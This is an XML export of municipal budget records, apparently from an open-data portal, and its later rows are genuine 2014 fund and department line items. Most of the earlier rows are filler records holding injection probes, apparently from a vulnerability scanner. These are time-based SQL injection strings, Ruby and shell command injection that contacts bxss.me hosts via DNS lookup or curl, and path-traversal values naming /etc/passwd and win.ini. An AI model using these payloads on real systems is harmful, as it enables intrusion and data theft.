Socket.gethostbyname("hitss"+"mlxqthsa07e08.bxss.me.")[3].to_s)+"</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102J8sOdlyi</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>-1 OR 5*5=25 -- </category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>941020"XOR(94102*if(now()=sysdate(),sleep(15),0))XOR"Z</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102-1); waitfor delay '0:0:15' -- </category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102csZp8VFw'; waitfor delay '0:0:15' -- </category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>|(nslookup${IFS}-q${IFS}cname${IFS}hitanaqjrldmcd32b4.bxss.me||curl${IFS}hitanaqjrldmcd32b4.bxss.me)</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102-1 OR 930=(SELECT 930 FROM PG_SLEEP(15))--</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>941027XU91Y0R' OR 735=(SELECT 735 FROM PG_SLEEP(15))--</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>941022RtUdUEr') OR 647=(SELECT 647 FROM PG_SLEEP(15))--</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102'"</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102����%2527%2522\'\"</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>@@bFB1I</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>(select 198766*667891)</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>(select 198766*667891 from DUAL)</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>"+"A".concat(70-3).concat(22*4).concat(119).concat(88).concat(110).concat(77)+(require"socket"
Socket.gethostbyname("hitim"+"popzaqcqca150.bxss.me.")[3].to_s)+"</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>file:///etc/passwd</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102'||sleep(27*1000)*qhrgfb||'</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>'+'A'.concat(70-3).concat(22*4).concat(101).concat(70).concat(97).concat(65)+(require'socket'
Socket.gethostbyname('hitpu'+'ckxkqmxf53be9.bxss.me.')[3].to_s)+'</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102"||sleep(27*1000)*eojqod||"</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>'A'.concat(70-3).concat(22*4).concat(105).concat(67).concat(100).concat(70)+(require'socket'
Socket.gethostbyname('hitgi'+'bhsgwmop7004d.bxss.me.')[3].to_s)</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>!(()&amp;&amp;!|*|*|</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>/etc/shells</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>c:/windows/win.ini</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="3"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>404350.0</object><object_description>ATMS PHASE 4C-MTA</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>-93305.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-93305.0</total></row>
<row _id="4"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>232342.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>41666.67</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>274008.67</total></row>
<row _id="5"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>22519.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>7084.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>29603.0</total></row>
<row _id="6"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>100774.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>100774.0</total></row>
<row _id="7"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>15299.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>15299.0</total></row>
<row _id="8"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>70650</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>70650.0</total></row>
<row _id="9"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>313</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>313.0</total></row>
<row _id="10"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>495</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>495.0</total></row>
<row _id="11"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>12478.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>12478.0</total></row>
<row _id="12"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6666.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6666.0</total></row>
<row _id="13"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>18500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>18500.0</total></row>
<row _id="14"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>408000.0</object><object_description>INTERFUND SERVICES-OPEN SP</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-78409.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>78409</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>76247.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>76247.0</total></row>
<row _id="16"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>298373.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>298373.0</total></row>
<row _id="17"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1500.0</total></row>
<row _id="18"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1035.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>155.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1190.0</total></row>
